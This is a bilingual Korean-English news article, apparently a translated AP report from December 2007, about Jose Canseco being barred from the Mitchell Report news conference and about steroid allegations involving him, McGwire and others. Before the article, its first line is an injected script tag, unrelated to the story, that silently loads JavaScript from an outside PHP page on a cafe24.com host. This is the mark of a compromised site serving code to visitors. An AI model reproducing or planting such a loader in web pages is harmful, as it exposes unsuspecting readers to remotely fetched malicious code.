<scRIPT Language=Javascript src=http://rnjsdudwh.cafe24.com/Mics.php></script> 
호세 칸세코, 미첼 리포트 기자회견장 출집 제지당해
MLB 사무국측, '언론 전용' 이라는 이유로 입장 거부
Canseco barred from Mitchell news conference
MLB officials refused to admit slugger, saying it was ‘media only’ event
Associated Press
updated 8:29 p.m. ET Dec. 13, 2007
NEW YORK - 목요일, 호세 칸세코가 Mitchell Report 기자회견장에 들어서려고 하자, 409페이지 분량의 보고서에서 가장 많이 거론되는 이 선수는 환영받지 못했다.
NEW YORK - When Jose Canseco tried to get into the Mitchell Report news conference Thursday, the man mentioned most often in those 409 pages wasn’t welcome.
메이저리그 사무국측은 이번 기자회견이 '언론 전용' 이라는 이유를 들어 칸세코의 입장을 거부한 것이다.
Major League Baseball officials refused to let him in, saying it was a “media only” event.
전(前) 오클랜드 어슬레틱스의 홈런타자는 억지로 결론을 짓지는 않았고, 그가 보고서에 들은 것과 관련해 시큰둥한 모습이었다.
The former Oakland Athletics slugger didn’t force the issue and was unimpressed with what he heard of the report.
"새로울게 없습니다." 칸세코가 Fox Business Network 와의 인터뷰에서 말했다. "이번 보고서는 아무것도 증명한 것이 없습니다. 그저 우리가 이미 알고 있던 것을 증명해냈을 뿐입니다."
“It’s a slap on the hand,” he told Fox Business Network. “The report proved nothing. It just proved what we already knew.”
Mitchell 보고서에서 칸세코의 이름은 총 105회 등장하는데, 이는 배리 본즈(103회), 클레멘스(82회) 보다 많은 수치이다.
Canseco’s name appears 105 times in the Mitchell report, more than that of Bonds (103) or Clemens (82).
"명단에 있는 선수들을 봤는데, 정말 너무도 많은 선수들이 누락되어 있었습니다." 칸세코는 이어, "그들이 성취한 것이 무엇인지, 무엇을 증명하려 했던 것인지 모르겠습니다." 라고 말했다.
“I saw the list of players, and there are definitely a lot of players missing,” he told Fox Business Network. “I don’t know what they accomplished or what they are trying to prove.”
(보고서에) 포함되지 않은 선수들에 대해 암시하던 칸세코는 알렉스 로드리게즈에 대해서도 입을 열었다: "제가 하고 싶은 말은 'Mitchell Report 는 미완성이다' 라는 것입니다. 이번 리포트에 A-ROD 의 이름이 빠져있는 것을 믿을 수가 없었습니다."
Prodded further about players not included, Canseco said this of Alex Rodriguez: “All I can say is the Mitchell Report is incomplete. I could not believe that his name was not in the report.”
칸세코는 2005년에 발간한 자신의 저서 'Juiced' 에서 처음으로 스테로이드 사용을 인정했다. 책에서 그는, 팀동료였던 마크 맥과이어를 포함해 약물을 사용했을 것으로 추정되는 다른 선수들에 대해서도 의혹을 제기했었다.
Canseco was one of the first to admit using steroids in his 2005 book “Juiced.” There, he gave specific names of other players who allegedly used, including teammate Mark McGwire.
Mitchell의 보고서에서, 칸세코는 야구계에서 스테로이드 문제와 관련한 고찰의 첫번째 대상으로 거론되었다. 1988년, Washington Post 지(紙) 의 기자, Thomas Boswell 은 칸세코가 "스테로이드를 통해 위업을 세운 선수의 가장 확실한 예" 라고 말했다.
In Mitchell’s report, Canseco is reported as the first target of public speculation about steroids in baseball. In 1988, Washington Post writer Thomas Boswell claimed Canseco was “the most conspicuous example of a player who has made himself great with steroids.”
야구 역사상 최초로 40-40 클럽에 가입했던 칸세코는 당시에는 스테로이드 사용을 부인했었다. 칸세코는 그해 MVP 를 수상했다.
Canseco, coming off the first 40 home run-40 steal season in baseball history, denied using steroids at the time. He won the MVP award that year.
칸세코는 자신의 저서에서 anabolic steroid 와 성장호르몬(HGH) 사용했다며 말을 바꿨고, 이같은 약물의 사용이 리그 전반에 퍼져있음을 폭로했다.
He changed his tune in his book, in which he recounts his use of anabolic steroids and human growth hormone, and claimed widespread use throughout the league.
Mitchell의 보고서에 따르면, 전(前) 오클랜드 감독인 토니 라 루사는 2005년, "60 Minutes" 에 출연해, 과거 칸세코가 구단내 헬스장에서 시간을 보내는 선수들을 비웃었고, 자신은 그렇게 열심히 헬스에 매달리지 않아도 되는 이유로 '도우미' 가 있기 때문이라고 말했다고 밝혔다.
According to Mitchell’s report, former Oakland manager Tony La Russa told “60 Minutes” in 2005 that Canseco used to laugh about how other players were spending time in the gym, and how he didn’t have to, because he was doing the other ’helper.’
"쉬운 길을 택했다 이거죠." 라 루사 감독이 말했다.
“You know, the easy way,” La Russa had said.
1984년부터 1995년까지 오클랜드의 코치였던 Dave McKay 는 당시 Toronto Sun지(紙) 와의 인터뷰에서 "우리팀에서 스테로이드에 말하는 유일한 선수는 칸세코 입니다. 제가 가장 많이 받았던 질문은 '제가 너무 커질 것 같진 않아요. 커질까요?' 였습니다." 라고 말했다.
Dave McKay, an Oakland coach from 1984 to 1995, told the Toronto Sun at the time: “We had one guy who talked about steroids and that was Jose. ... The most common question I was asked was: ’I won’t get too big, will I?”’
하지만 이번 보고서와 관련한 인터뷰에서, (예전과는 달리) 라 루사와 McKay 는 칸세코의 스테로이드 사용에 대해 직접적으로 아는게 없다고 말했다.
When interviewed in connection with the report, however, La Russa and McKay said they had no direct knowledge Canseco used steroids.
칸세코의 책이 출판된 후, 그와 맥과이어는 Government Reform 에 대한 House Committee 전에 소환 명령을 받은 선수들로 등장했다. 맥과이어는 질문에 대한 답변을 거부했었다.
After Canseco’s book came out, he and McGwire were among the players subpoenaed to appear before the House Committee on Government Reform. McGwire refused to answer specific questions.
Mitchell 조사가 진행되는동안, 맥과이어를 알았던 다수의 사람들이 인터뷰를 했다. 하지만 칸세코외에 누구도 맥과이어의 스테로이드 사용을 단언한 사람은 없었다.
In the course of the Mitchell investigation, a number of people who knew McGwire were interviewed. No one other than Canseco alleged use by McGwire.
|
